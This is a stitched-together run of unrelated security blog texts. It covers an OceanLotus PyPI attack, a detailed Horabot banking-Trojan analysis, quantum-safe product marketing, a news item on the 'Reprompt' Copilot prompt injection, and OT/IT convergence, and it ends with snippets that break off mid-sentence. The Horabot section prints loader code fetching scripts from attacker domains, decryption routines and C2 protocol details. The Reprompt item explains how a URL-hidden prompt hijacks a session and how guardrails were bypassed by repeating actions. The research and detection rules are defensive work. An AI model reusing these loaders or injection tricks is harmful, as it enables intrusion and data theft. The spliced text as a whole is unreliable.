Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.
Analysis results of dropper using KTAE system
Conclusions
As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.
In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.
In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.
Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.
The starting point
As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.
The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.
The attack chain
After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.
Stage 1: Initial lure
Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).
Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/
Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
This command retrieved and executed an HTA file that contained the following:
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.
Stage 2: A pinch of server-side polymorphism
The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)
The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)
The page containing the first stage leading to the spreader.
Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
Key construction (left) and decryption logic (right)
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
def decrypt_string(encrypted_hex):
key_string = "0xFF0wx8066h"
key_index = 0
result = ""
current_key = int(encrypted_hex[0:2], 16)
i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex[i:i+2], 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string[key_index])
xored_value = next_key ^ key_char
if xored_value > current_key:
decrypted_char = xored_value - current_key
else:
decrypted_char = (xored_value + 0xFF) - current_key
result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2
return result
Python implementation of the decryption routine
The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
Direct pointer (left), indirect pointer (right)
Indexed strings via TStringList lookups
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
C2 socket address extraction
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Fallback to hardcoded socket address (lifenews[.]pro:49569)
Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
Extracting value 5 and 6 from the configuration
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:
Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
Encryption routine sub_00A9F2D0
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \
msg:"Horabot C2 socket communication (##hex##)"; \
flow:established; \
content:"##"; depth:2; fast_pattern; \
content:"##"; endswith; \
pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
classtype:trojan-activity; \
sid:1900000; \
rev:1; \
metadata:author Domenico; \
)
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.
Fake token overlay used for credential theft (right), with disassembly (left)
The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Excerpt of decrypted fake overlays
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
Harvest emails via the MAPI namespace;
Exfiltrate unique email addresses to the C2;
Clean up the outbox;
Filter the exfiltrated email addresses against a blocklist of keywords;
Prepare a phishing email containing a malicious PDF;
Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
import "pe"
rule Horabot_Delphi_Trojan
{
meta:
author = "maT"
description = "Detects Horabot payload/trojan (Delphi DLL)"
hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
hash_02 = "4caa797130b5f7116f11c0b48013e430"
hash_03 = "c882d948d44a65019df54b0b2996677f"
condition:
uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of_exports == 4 and
pe.exports("dbkFCallWrapperAddr") and
pe.exports("__dbk_fcall_wrapper") and
pe.exports("TMethodImplementationIntercept") and
pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}
rule Horabot_AutoIT_Loader
{
meta:
author = "maT"
description = "Detects AutoIT script used as a loader by Horabot"
strings:
$winapi_01 = "Advapi32.dll"
$winapi_02 = "CryptDeriveKey"
$winapi_03 = "CryptDecrypt"
$winapi_04 = "MemoryLoadLibrary"
$winapi_05 = "VirtualAlloc"
$winapi_06 = "DllCallAddress"
$str_seed = "99521487"
$str_func01 = "B080723_N"
$str_func02 = "A040822_1"
$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
$opt_aes192 = "0x0000660f" // CALG_AES_192
$opt_md5 = "0x00008003" // CALG_MD5
condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
)
}
Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.
VirusTotal Intelligence
entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan
page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)
Russia's current isolation from the Olympics may lead to increased cyberthreats targeting the 2026 Winter Games. We discuss the potential threat picture.
Accelerating the Migration to the Post-Quantum Era
The promise of quantum computing brings an unprecedented paradox. While it will unlock revolutionary breakthroughs in science, materials discovery and medicine, it simultaneously poses an existential threat to the mathematical foundations of modern cybersecurity.
For decades, the global economy has relied on public key cryptography to safeguard everything from personal privacy to national security. This cryptography is built on mathematical problems that are computationally infeasible for classical computers to solve but that quantum computers can solve efficiently, rendering today’s cryptographic protocols obsolete.
Using Shor’s algorithm, a sufficiently powerful quantum computer could factor the large prime numbers that underpin public key cryptography, in minutes. These are tasks that would take today’s most advanced supercomputers a millennium to crack. This capability would effectively turn our strongest digital defenses into open doors, creating a period of vulnerability leading up to Q-Day – the day today’s encryption is broken.
The Migration Crisis: Why Traditional Strategies Fail
For CISOs and technical leaders, the transition to post-quantum cryptography (PQC) is not a simple patch-and-deploy exercise. It is a multiyear transformation that requires updating cryptography across every device, application, certificate and infrastructure component in the enterprise.
Most enterprises today are constrained by cryptographic debt – years of accumulated, undocumented and deprecated encryption protocols buried deep within legacy applications, third-party software libraries and unmanaged IoT devices. This creates a vast and largely invisible attack surface that traditional vulnerability scanners were never designed to detect.
The challenge is compounded by the absence of a unified source of truth. Existing tools offer a fragmented "outside-in" view of the environment. They may identify devices on the network, but they lack visibility into cryptographic libraries embedded within live traffic. Without a real-time Cryptographic Bill of Materials (CBOM), security teams are forced to rely on manual, point-in-time audits that become outdated almost immediately. Spreadsheets cannot scale to this problem.
This visibility gap makes it impossible to prioritize remediation, leaving sensitive data exposed to harvest now, decrypt later (HNDL) attacks. In these attacks, adversaries intercept and store encrypted data today with the intent of unlocking it once quantum computing capabilities mature.
Operationally, traditional migration approaches are equally unworthy. Manually updating cryptography across thousands of global endpoints and branch offices often requires disruptive rip and replace strategies that threaten uptime and demand specialized expertise that is in extremely short supply. Organizations need a way to bridge today’s classical infrastructure with a quantum-resilient future without disrupting business operations or exhausting IT resources.
At Palo Alto Networks, we believe global enterprises cannot afford to wait. Our new Quantum-Safe Security solution is designed to remove these operational roadblocks by making cryptographic discovery, risk assessment and transition both continuous and actionable. We empower enterprises to gain real-time visibility into cryptographic risk and begin building agentic resilience at enterprise scale by integrating with existing security and infrastructure systems, including security information and event management (SIEM), load balancers, endpoint detection and response (EDR), as well as Application Vulnerability Management (AVM) tools.
The Four Stages of Cryptographic Inventory & Remediation
Palo Alto Networks Quantum-Safe Security is built around four foundational stages.
1. Continuous Discovery through Ecosystem Ingestion
Visibility is the first line of defense, but in a complex enterprise, true visibility requires more than a periodic scan. It requires continuous, high-fidelity ingestion of cryptographic intelligence across the environment.
Our solution acts as a central nervous system for your cryptographic posture, ingesting telemetry and logs directly from PAN-OS NGFW and Prisma® Access, enriched with data from a broad ecosystem of third-party security solutions, simplifying Day 0 onboarding. By leveraging your existing network infrastructure as sensors, we provide a comprehensive view of the cryptographic behavior of all assets without the operational friction of deploying new software.
To eliminate blind spots, we go beyond our own telemetry to ingest critical information from your existing systems you rely on. This includes syncing with configuration management database (CMDB) and asset management platforms to align cryptographic data with business inventories, integrating with EDR and access control solutions to monitor endpoint behavior, and aggregating data from network clouds and log platforms. The result is a unified intelligence layer that reflects how cryptography is actually used across the enterprise.
By synthesizing these data streams, we deliver a multidimensional view of cryptographic exposure:
Discovery – Identification of every application, user device, infrastructure component and IoT device.
Behavior – Analysis of traffic metadata, including protocols, key exchangemechanisms, encryption algorithms, hashes, certificates and tunnels.
Context – Precise attribution of hardware models, cryptographic libraries (such as deprecated OpenSSL versions), and browser versions in use.
2. Risk Assessment & Prioritization
Not all data is created equal, and a successful migration requires a surgical focus on where the exposure is most acute. Our Quantum Safe Security solution quantifies risk by correlating cryptographic strength with business criticality, providing a clear, prioritized view of current risk and where remediation matters most.
Assets are categorized into strategic zones, starting with immediate exposure risks caused by deprecated protocols that are vulnerable to classical exploitation today. From there, the solution addresses long-term harvest now, decrypt later threats. As threat models evolve, the risk engine is designed to expand to emerging vectors like identity and authentication integrity, anticipating risks such as “Trust Now, Forge Later" attacks that could undermine digital trust at scale.
At the same time, the solution validates and tracks quantum-secure assets that have successfully transitioned to post-quantum or hybrid-PQC algorithms. By correlating this intelligence with business criticality and data shelf-life, security leaders can make informed decisions. For example, a crown jewel asset containing data that must remain confidential for a decade or more, is flagged as a high HNDL risk today and elevated to the top of the migration queue.
3. Comprehensive Remediation
Moving from a vulnerable state to quantum resilience is a structured journey. Our comprehensive remediation framework guides organizations through three critical stages, supported by automated workflows and prioritized recommendations at every step.
Current State to Quantum Ready: The first stage focuses on infrastructure modernization. Usingcontinuous discovery insights, the solution provides hardware and software recommendations required to support next-generation cryptographic protocols. An asset reaches a Quantum Ready state once it has the underlying hardware and OS capabilities to support post-quantum algorithms, even if those protocols are not yet activated.
Quantum Ready to Quantum-Safe: Transitioning to a Quantum-safe state requires activation and configuration of post-quantum defenses. Our solution provides data configuration and certificate compliance guidance to enable PQC/Hybrid-PQC algorithms to be correctly implemented across the estate.
Virtual Patching via Cipher Translation: For all current and especially legacy systems or IoT devices that cannot be upgraded, we provide an accelerated path to quantum-safety. Through Cipher Translation, the infrastructure acts as a proxy, providing agentic remediation that reencrypts vulnerable traffic into quantum-safe standards (such as ML-KEM) in real-time at the network edge. This approach instantly moves legacy assets from a high-risk current state to a Quantum-safe posture without a single line of code change.
4. Governance: Continuous Crypto-Hygiene & Global Compliance
Quantum readiness is not a one-time event; it is a strategic enterprise transformation that requires continuous oversight to prevent the re-emergence of vulnerabilities. Our governance framework provides the guardrails for your migration through two critical layers of management:
Continuous Crypto-Hygiene & Ongoing Management: Maintaining high-fidelity visibility is essential to preventing the accumulation of "crypto-debt." Our solution automates real-time mapping of all cryptographic dependencies, ensuring your CBOM remains dynamic and accurate as your environment evolves. Furthermore, we introduce Active Drift Detection, which automatically detects and can even block the use of weak or noncompliant ciphers in real-time, preventing developers or third-party services from accidentally introducing insecure protocols.
Global Crypto-Compliance Enforcement & Reporting: As regulatory pressure from governments (like the US Commercial National Security Algorithm Suite 2.0) mounts, organizations must demonstrate measurable progress. Our solution will provide Automated Framework Auditing, offering continuous, native mapping of your environment against global standards, including NIST, FIPS 140-3, and DORA.
Architecting a Quantum-Resilient Enterprise
The transition to quantum-safe security is far more than a technical upgrade. It represents a fundamental shift in how organizations protect the longevity and integrity of their digital assets. Achieving quantum resilience is a multiyear effort that requires both advanced technology and strategic partnership.
That's why Palo Alto Networks has established Integrated Quantum Practices, bringing together technology, partners and professional services to help organizations navigate the complexity of this transition with confidence. By combining deep cryptographic visibility with intelligent, agentic remediation, organizations can systematically retire their cryptographic debt and build resilience into their security architecture over time.
This proactive approach does more than mitigate emerging risk. It establishes a foundation of digital trust that is resilient against the threats of tomorrow, enabling your most sensitive intellectual property to remain secure for its entire shelf life, even as cryptographic standards evolve.
Secure Your First-Mover Advantage: The Quantum Readiness Assessment
Don’t let the complexity of the quantum transition stall your organization’s progress. Begin your path to resilience with a Quantum Readiness Assessment, a focused engagement to clarify current exposure and identify the most critical areas for action. To go deeper, watch the Quantum-Safe Summit on demand for expert perspectives on cryptographic risk and quantum readiness.
The Palo Alto Networks Quantum-Safe Security solution is expected to be generally available to customers on January 30, 2026, with additional integration enhancements planned for April 2026.
Forward-Looking Statements
This blog contains forward-looking statements that involve risks, uncertainties and assumptions, including, without limitation, statements regarding the benefits, impact or performance or potential benefits, impact or performance of our products and technologies or future products and technologies. These forward-looking statements are not guarantees of future performance, and there are a significant number of factors that could cause actual results to differ materially from statements made in this [blog. We identify certain important risks and uncertainties that could affect our results and performance in our most recent Annual Report on Form 10-K, our most recent Quarterly Report on Form 10-Q, and our other filings with the U.S. Securities and Exchange Commission from time-to-time, each of which are available on our website at investors.paloaltonetworks.com and on the SEC's website at www.sec.gov. All forward-looking statements in this blog are based on information available to us as of the date hereof, and we do not assume any obligation to update the forward-looking statements provided to reflect events that occur or circumstances that exist after the date on which they were made.
Researchers found a method to steal data which bypasses Microsoft Copilot’s built-in safety mechanisms.
The attack flow, called Reprompt, abuses how Microsoft Copilot handled URL parameters in order to hijack a user’s existing Copilot Personal session.
Copilot is an AI assistant which connects to a personal account and is integrated into Windows, the Edge browser, and various consumer applications.
The issue was fixed in Microsoft’s January Patch Tuesday update, and there is no evidence of in‑the‑wild exploitation so far. Still, it once again shows how risky it can be to trust AI assistants at this point in time.
Reprompt hides a malicious prompt in the q parameter of an otherwise legitimate Copilot URL. When the page loads, Copilot auto‑executes that prompt, allowing an attacker to run actions in the victim’s authenticated session after just a single click on a phishing link.
In other words, attackers can hide secret instructions inside the web address of a Copilot link, in a place most users never look. Copilot then runs those hidden instructions as if the users had typed them themselves.
Because Copilot accepts prompts via a q URL parameter and executes them automatically, a phishing email can lure a user into clicking a legitimate-looking Copilot link while silently injecting attacker-controlled instructions into a live Copilot session.
What makes Reprompt stand out from other, similar prompt injection attacks is that it requires no user-entered prompts, no installed plugins, and no enabled connectors.
The basis of the Reprompt attack is amazingly simple. Although Copilot enforces safeguards to prevent direct data leaks, these protections only apply to the initial request. The attackers were able to bypass these guardrails by simply instructing Copilot to repeat each action twice.
Working from there, the researchers noted:
“Once the first prompt is executed, the attacker’s server issues follow‑up instructions based on prior responses and forms an ongoing chain of requests. This approach hides the real intent from both the user and client-side monitoring tools, making detection extremely difficult.”
How to stay safe
You can stay safe from the Reprompt attack specifically by installing the January 2026 Patch Tuesday updates.
If available, use Microsoft 365 Copilot for work data, as it benefits from Purview auditing, tenant‑level data loss prevention (DLP), and admin restrictions that were not available to Copilot Personal in the research case. DLP rules look for sensitive data such as credit card numbers, ID numbers, health data, and can block, warn, or log when someone tries to send or store it in risky ways (email, OneDrive, Teams, Power Platform connectors, and more).
Don’t click on unsolicited links before verifying with the (trusted) source whether they are safe.
Reportedly, Microsoft is testing a new policy that allows IT administrators to uninstall the AI-powered Copilot digital assistant on managed devices.
Malwarebytes users can disable Copilot for their personal machines under Tools > Privacy, where you can toggle Disable Windows Copilot to on (blue).
In general, be aware that using AI assistants still pose privacy risks. As long as there are ways for assistants to automatically ingest untrusted input—such as URL parameters, page text, metadata, and comments—and merge it into hidden system prompts or instructions without strong separation or filtering, users remain at risk of leaking private information.
So when using any AI assistant that can be driven via links, browser automation, or external content, it is reasonable to assume “Reprompt‑style” issues are at least possible and should be taken into consideration.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
The intersection and evolution of operational technology (OT) and information technology (IT), as well as the cybersecurity risks associated with both are becoming increasingly critical business challenges for organisations of all sizes, across all geographies.
As digital transformation expands into OT environments, convergence with IT systems is inevitable. This convergence may generate exciting business opportunities, such as creating new sources of income and improving business outcomes, but it also presents new cybersecurity risks and complexities, for which many industry leaders are not prepared.
Why Is OT/IT Convergence So Complex?
There are many overlapping forces driving the OT and IT worlds together, creating a hairball of complexity from varying sources:
People: OT and IT communities are historically different in many ways (technological, operational, regulatory and culturally) and have different priorities and focuses.
Technology: The age of technology in OT environments means that legacy equipment and machinery are often incompatible with the latest IT software, increasing their vulnerability to cyberthreats.
Mindsets: Historically, ‘secure by design’ has not been a focus in OT. System uptime and employee safety have traditionally been prioritised over cybersecurity in OT environments, unlike IT where cybersecurity is ingrained.
Understanding the Risk and Impact
OT/IT cybersecurity is a strategic issue, not just a technical requirement, and it must be designed into systems as early as possible. The consequences of not acting from the start far outweigh any advantages gained by disregarding the issue.
This is particularly true for critical infrastructure, such as water purification systems, power grids, air traffic control systems, communications networks and battlefield command-and-control systems, all of which are open to potential cybersecurity risk. Always assume that your adversaries are willing to exploit your Achilles heel when it comes to securing OT/IT systems.
Key Attention Areas in OT/IT Convergence
All senior business leaders should consider the following areas with OT/IT convergence and cybersecurity:
Mindset: Industry leaders need the right mindset to balance cybersecurity best practices with a seemingly endless number of new devices and data sources caused by OT/IT convergence.
Technology: Technologies, such as artificial intelligence, machine learning and cloud computing, represent both opportunities and threats in the world of OT/IT cybersecurity. Modern technology systems must be built with tomorrow’s security risks in mind.
Compliance: The NIS Directive and its follow-on NIS2 Directive outline the responsibility for organisations to take reasonable steps toward a solid cybersecurity posture. This applies to the increasingly digital OT world because of the classification of many OT systems as a critical infrastructure.
Teams: Organisations need to recognise and confront the cultural silo separating OT and IT teams in order to reduce complexity, promote collaboration and achieve a reliable, frictionless state of OT/IT cybersecurity.
The cloud, data and device proliferation: When digital OT systems are infected, the attacks easily and quickly move laterally over a mesh of intersecting networks, carrying ‘digital germs’ with them. The risk here is high, particularly with the huge proliferation of devices and data from converged workloads in the cloud.
The future: There is a growing urgency from business stakeholders to make OT systems more digitally driven to ensure agility and efficiency. Boards that are now prioritising OT/IT cybersecurity are making a strong statement about the business implications to this strategy.
Next Steps
To help you understand and prepare for the cybersecurity risks inherent at the intersection of OT and IT, we have captured insights and recommendations from forward-thinking industry experts in a new guide: Executive Edge: Peer Insights - Complexity at the intersection of IT and OT.
This Peer Insights guide for C-suite executives explores how to streamline security, reduce complexity, and anticipate threats across the IT/OT environment, ultimately helping you drive change within your organisation.
In my journey to explore how I can use artificial intelligence to assist in penetration testing, I experimented with a security-focused chat bot created by Jason Haddix called Arcanum Cyber Security Bot (available on https://chatgpt.com/gpts). Jason engineered this bot to leverage up-to-date technical information related to application security and penetration testing.
For those of us in cybersecurity, there are a lot of unanswered questions and associated concerns about integrating AI into these various products. No small part of our worries has to do with the fact that this is new technology, and new tech always brings with it new security issues, especially technology that is evolving as quickly as AI.
A common use case for LLMs is rapid software development. One of the first ways I used AI in my penetration testing methodology was for payload generation.
This blog will cover how to root an AVD emulator and a physical Pixel 6. But before we cover those topics, let's cover what it is we will be doing and some of the pro/cons of rooting an Android phone.
VirusTotal has incorporated a powerful new tool to fight against
malware: JA4 client fingerprinting. This feature allows
security researchers to track and identify malicious files based
on the unique characteristics of their TLS client communications.
JA4: A More Robust Successor to JA3
JA4,
developed by
FoxIO, represents a significant
advancement over the older JA3 fingerprinting method. JA3's
effectiveness had been hampered by the increasing use of TLS
extension randomization in https clients, which made
fingerprints
less consistent. JA4 was specifically designed to be
resilient to this randomization, resulting in more stable and
reliable fingerprints.
Unveiling the Secrets of the Client
Hello
JA4 fingerprinting focuses on
analyzing the
TLS Client Hello packet, which is sent unencrypted from
the client to the server at the start of a TLS connection.
This packet contains a treasure trove of information that can
uniquely identify the client application or its underlying
TLS library. Some of the key elements extracted by JA4
include:
TLS
Version: The version of TLS supported by the
client.
Cipher
Suites: The list of cryptographic algorithms the client can
